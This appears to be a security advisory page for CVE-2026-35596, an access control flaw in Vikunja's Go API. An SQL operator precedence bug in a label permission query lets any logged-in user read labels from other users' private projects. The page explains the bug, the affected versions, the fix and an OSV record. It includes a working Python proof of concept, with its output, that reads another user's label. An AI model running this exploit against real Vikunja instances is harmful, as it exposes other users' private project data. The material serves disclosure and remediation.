CVE-2026-35596: Code.vikunja.io/api Vikunja Has Broken Access Control Vulnerability

MODERATE
Advisory Identifier: GHSA-hj5c-mhh2-g7jq
CVSS 4.3
CWE-863
Published
Advisory Summary

CVE-2026-35596 is a MODERATE (CVSS 4.3) vikunja has broken access control vulnerability (CWE-863: Incorrect Authorization) affecting Code.vikunja.io/api libraries in the Go ecosystem. The issue involves vikunja has broken access control on label read via sql operator precedence bug. Remediation is available by upgrading affected packages to version 2.3.0.

CVE-2026-35596 at a Glance

CVE Identifier CVE-2026-35596
GHSA Identifier GHSA-hj5c-mhh2-g7jq
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-863: Incorrect Authorization
Affected Product Code.vikunja.io/api
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-35596

To remediate this vulnerability, upgrade all affected Code.vikunja.io/api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.vikunja.io/api fixed: 2.3.0
Upgrade code.vikunja.io/api to 2.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.vikunja.io/api

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35596, inspect your project dependencies for Code.vikunja.io/api:

inspect dependencies for code.vikunja.io/api

Analyze the terminal output to locate any version of Code.vikunja.io/api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Code.vikunja.io/api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `hasAccessToLabel` function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. ## Details The access control query at `pkg/models/label_permissions.go:85-91` uses xorm's query chain in a way that produces SQL without proper grouping: ```go has, err = s.Table("labels"). Select("label_tasks.*"). Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id"). Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID). Or(cond). And("labels.id = ?", l.ID). Exist(ll) ``` The xorm chain `.Where(A OR B).Or(C).And(D)` generates SQL: `WHERE A OR B OR C AND D`. Because SQL AND has higher precedence than OR, this evaluates as `WHERE A OR B OR (C AND D)`. The `labels.id = ?` constraint (D) only binds to the project access condition (C), while `label_tasks.label_id IS NOT NULL` (part of A) remains unconstrained. Any label that has at least one task association passes the `IS NOT NULL` check, regardless of who is requesting it. ## Proof of Concept Tested on Vikunja v2.2.2. ```python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} a_token = login("labeler", "Labeler123!") b_token = login("snooper", "Snooper123!") # labeler creates private project, label, task, and assigns label proj = requests.put(f"{API}/projects", headers=h(a_token), json={"title": "Private Project"}).json() label = requests.put(f"{API}/labels", headers=h(a_token), json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token), json={"title": "Q4 revenue data"}).json() requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token), json={"label_id": label["id"]}) # snooper reads the label from labeler's private project r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token)) print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403 if r.status_code == 200: data = r.json() print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE print(f"Creator: {data['created_by']['username']}") # labeler ``` Output: ``` GET /labels/1: 200 Title: CONFIDENTIAL-REVENUE Creator: labeler ``` Label IDs are sequential integers, making enumeration straightforward. ## Impact Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed. ## Recommended Fix Use explicit `builder.And`/`builder.Or` grouping: ```go has, err = s.Table("labels"). Select("label_tasks.*"). Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id"). Where(builder.And( builder.Eq{"labels.id": l.ID}, builder.Or( builder.And(builder.Expr("label_tasks.label_id is not null"), cond), builder.Eq{"labels.created_by_id": createdByID}, ), )). Exist(ll) ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

CVE-2026-35596 Affected Code.vikunja.io/api Versions

1 component(s)
Fixed Versions:
2.3.0
Product / Package Ecosystem Affected Versions Fixed Version
code.vikunja.io/api
Go
< 2.3.0
2.3.0

References

Frequently Asked Questions

What is CVE-2026-35596?
CVE-2026-35596 is a security vulnerability in Code.vikunja.io/api involving Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug under CWE-863: Incorrect Authorization.
Which Code.vikunja.io/api versions are affected?
Affected versions include releases prior to 2.3.0 across affected packages: code.vikunja.io/api.
What version fixes CVE-2026-35596?
Upgrading to 2.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.vikunja.io/api affected?
Yes, code.vikunja.io/api is affected in releases prior to 2.3.0. Upgrade your dependency to 2.3.0 or later.
What is the CVSS score of CVE-2026-35596?
CVE-2026-35596 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-35596?
CVE-2026-35596 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-35596?
Run the dependency tree command: 'inspect dependencies for code.vikunja.io/api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hj5c-mhh2-g7jq",
  "modified" : "2026-07-21T14:45:47Z",
  "published" : "2026-04-10T15:33:59Z",
  "aliases" : [ "CVE-2026-35596" ],
  "summary" : "Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug",
  "details" : "## Summary\n\nThe `hasAccessToLabel` function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.\n\n## Details\n\nThe access control query at `pkg/models/label_permissions.go:85-91` uses xorm's query chain in a way that produces SQL without proper grouping:\n\n```go\nhas, err = s.Table(\"labels\").\n    Select(\"label_tasks.*\").\n    Join(\"LEFT\", \"label_tasks\", \"label_tasks.label_id = labels.id\").\n    Where(\"label_tasks.label_id is not null OR labels.created_by_id = ?\", createdByID).\n    Or(cond).\n    And(\"labels.id = ?\", l.ID).\n    Exist(ll)\n```\n\nThe xorm chain `.Where(A OR B).Or(C).And(D)` generates SQL: `WHERE A OR B OR C AND D`. Because SQL AND has higher precedence than OR, this evaluates as `WHERE A OR B OR (C AND D)`. The `labels.id = ?` constraint (D) only binds to the project access condition (C), while `label_tasks.label_id IS NOT NULL` (part of A) remains unconstrained.\n\nAny label that has at least one task association passes the `IS NOT NULL` check, regardless of who is requesting it.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ndef login(u, p):\n    return requests.post(f\"{API}/login\", json={\"username\": u, \"password\": p}).json()[\"token\"]\n\ndef h(token):\n    return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\na_token = login(\"labeler\", \"Labeler123!\")\nb_token = login(\"snooper\", \"Snooper123!\")\n\n# labeler creates private project, label, task, and assigns label\nproj = requests.put(f\"{API}/projects\", headers=h(a_token),\n                    json={\"title\": \"Private Project\"}).json()\nlabel = requests.put(f\"{API}/labels\", headers=h(a_token),\n                     json={\"title\": \"CONFIDENTIAL-REVENUE\", \"hex_color\": \"ff0000\"}).json()\ntask = requests.put(f\"{API}/projects/{proj['id']}/tasks\", headers=h(a_token),\n                    json={\"title\": \"Q4 revenue data\"}).json()\nrequests.put(f\"{API}/tasks/{task['id']}/labels\", headers=h(a_token),\n             json={\"label_id\": label[\"id\"]})\n\n# snooper reads the label from labeler's private project\nr = requests.get(f\"{API}/labels/{label['id']}\", headers=h(b_token))\nprint(f\"GET /labels/{label['id']}: {r.status_code}\")  # 200 - should be 403\nif r.status_code == 200:\n    data = r.json()\n    print(f\"Title: {data['title']}\")  # CONFIDENTIAL-REVENUE\n    print(f\"Creator: {data['created_by']['username']}\")  # labeler\n```\n\nOutput:\n```\nGET /labels/1: 200\nTitle: CONFIDENTIAL-REVENUE\nCreator: labeler\n```\n\nLabel IDs are sequential integers, making enumeration straightforward.\n\n## Impact\n\nAny authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.\n\n## Recommended Fix\n\nUse explicit `builder.And`/`builder.Or` grouping:\n\n```go\nhas, err = s.Table(\"labels\").\n    Select(\"label_tasks.*\").\n    Join(\"LEFT\", \"label_tasks\", \"label_tasks.label_id = labels.id\").\n    Where(builder.And(\n        builder.Eq{\"labels.id\": l.ID},\n        builder.Or(\n            builder.And(builder.Expr(\"label_tasks.label_id is not null\"), cond),\n            builder.Eq{\"labels.created_by_id\": createdByID},\n        ),\n    )).\n    Exist(ll)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.2.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-hj5c-mhh2-g7jq"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/pull/2578"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/commit/fc216c38afaa51dd56dde7a97343d2148ecf24c1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T15:33:59Z",
    "nvd_published_at" : "2026-04-10T17:17:03Z"
  }
}